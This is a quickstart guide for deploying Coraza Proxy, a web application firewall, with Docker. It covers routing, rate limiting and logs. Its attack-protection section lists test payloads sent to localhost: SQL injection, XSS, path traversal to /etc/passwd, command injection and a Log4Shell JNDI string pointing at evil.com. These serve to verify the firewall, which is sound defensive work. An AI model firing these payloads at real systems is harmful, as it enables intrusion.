Skip to main content

Prerequisites

  • Docker installed and running
  • A backend service to protect (or use a test backend)
  • Basic understanding of reverse proxies
This guide uses Docker for the fastest setup. For production deployments or building from source, see the Installation guide.

Quick Setup

1

Pull the Docker Image

Pull the latest Coraza Proxy image:
docker pull wafsec:local
Or build it yourself from the repository:
docker build --no-cache -t wafsec:local .
2

Configure Environment

Create a .env file with your configuration. Here’s a minimal example:
.env
# Backend routing - JSON format
BACKENDS='{"waf.test.local":["web:80"], "default":["localhost:5000"]}'

# Port to listen on
PORT=8081

# Host classification
PROXY_WEB_HOSTS=waf.test.local

# Rate limiting
PROXY_RATE_LIMIT=5
PROXY_RATE_BURST=10
  • BACKENDS: JSON mapping of hostnames to backend servers
  • PORT: Port for Coraza Proxy to listen on (default: 8081)
  • PROXY_WEB_HOSTS: Comma-separated list of hosts using PL1 (web) rules
  • PROXY_RATE_LIMIT: Requests per second per IP
  • PROXY_RATE_BURST: Maximum burst size for rate limiting
3

Set Up Local DNS (Optional)

For local testing, add entries to /etc/hosts:
sudo sh -c 'echo "127.0.0.1 waf.test.local" >> /etc/hosts'
sudo sh -c 'echo "127.0.0.1 api.test.local" >> /etc/hosts'
4

Start the Proxy

Run Coraza Proxy with your configuration:
docker run -d \
  --name coraza-proxy \
  -p 8081:8081 \
  --env-file .env \
  wafsec:local
Check the logs to verify it started:
docker logs -f coraza-proxy
You should see:
GeoIP database loaded
Coraza WAF started
Listening on :8081
5

Test the Setup

Send a legitimate request:
curl -H "Host: waf.test.local" http://localhost:8081/
Test WAF protection with a SQL injection attempt:
curl "http://localhost:8081/?id=1%27%20OR%20%271%27=%271" \
  -H "Host: waf.test.local"
This should be blocked with:
Request blocked by WAF (body)

Configuration Examples

Single Backend

Protect a single application:
.env
BACKENDS='{"default":["localhost:5000"]}'
PORT=8081
PROXY_WEB_HOSTS=waf.test.local

Multiple Hosts

Route different domains to different backends:
.env
BACKENDS='{
  "web.example.com": ["web-server:80"],
  "api.example.com": ["api-server:8000"],
  "default": ["fallback:80"]
}'

PROXY_WEB_HOSTS=web.example.com
PROXY_APIS_HOSTS=api.example.com

Path-Based Routing

Route different URL paths to different backends:
.env
BACKENDS='{
  "example.com": {
    "default": ["web:80"],
    "paths": {
      "/api": ["api:8000"],
      "/static": ["cdn:80"]
    }
  }
}'
Path-based routing uses longest prefix matching. A request to /api/users matches /api before falling back to default.

Load Balancing

Distribute traffic across multiple backend servers:
.env
BACKENDS='{
  "app.example.com": ["web1:80", "web2:80", "web3:80"]
}'
Coraza Proxy uses round-robin load balancing automatically.

Testing Attack Protection

SQL Injection Tests

curl "http://localhost:8081/?id=1'%20OR%20'1'='1" \
  -H "Host: waf.test.local"

Cross-Site Scripting (XSS)

curl "http://localhost:8081/?x=%3Cscript%3Ealert(1)%3C/script%3E" \
  -H "Host: waf.test.local"

Local File Inclusion (LFI)

curl "http://localhost:8081/?file=../../etc/passwd" \
  -H "Host: waf.test.local"

Remote Command Execution

curl "http://localhost:8081/?cmd=;ls%20-la" \
  -H "Host: waf.test.local"

Log4Shell Detection

curl -X POST "http://localhost:8081/" \
  -H "Host: waf.test.local" \
  -H "User-Agent: \${jndi:ldap://evil.com}" \
  https://sandbox.coreruleset.org
All these test payloads should be blocked by Coraza Proxy. If any pass through, check your configuration and rule sets.

Rate Limiting Test

Test the rate limiter by sending rapid requests:
for i in {1..25}; do 
  curl -i -s "http://localhost:8081/" \
    -H "Host: waf.test.local" | grep "HTTP/1.1"
done
You should see 429 Too Many Requests after exceeding the configured rate limit.

Monitoring & Logs

Check Audit Logs

Audit logs are written in JSON format:
docker exec coraza-proxy tail -f /tmp/log/coraza/audit.log | jq

View Debug Logs

For troubleshooting, enable debug logging:
.env
SECDEBUGLOGLEVEL=3
Then view:
docker exec coraza-proxy tail -f /tmp/log/coraza/debug.log

Next Steps

Production Configuration

Learn about advanced configuration options and production deployment

Security Testing

Test WAF protection with real attack payloads

Common Issues

Error: Bad Gateway: dial tcp: connect: connection refusedSolution: Ensure your backend service is running and accessible from the Docker container. Use Docker service names if running in docker-compose.
Error: WAF not configured for this hostSolution: Add the hostname to either PROXY_WEB_HOSTS or PROXY_APIS_HOSTS depending on whether it should use web or API rules.
Issue: Legitimate requests are being blockedSolution:
  • Lower the paranoia level in your CRS setup configuration
  • Add exclusion rules for specific endpoints
  • Use PL2 (API profile) for JSON-heavy endpoints
Issue: Users hitting rate limits during normal useSolution: Adjust PROXY_RATE_LIMIT and PROXY_RATE_BURST:
PROXY_RATE_LIMIT=10  # Increase requests per second
PROXY_RATE_BURST=20  # Increase burst capacity

Build docs developers (and LLMs) love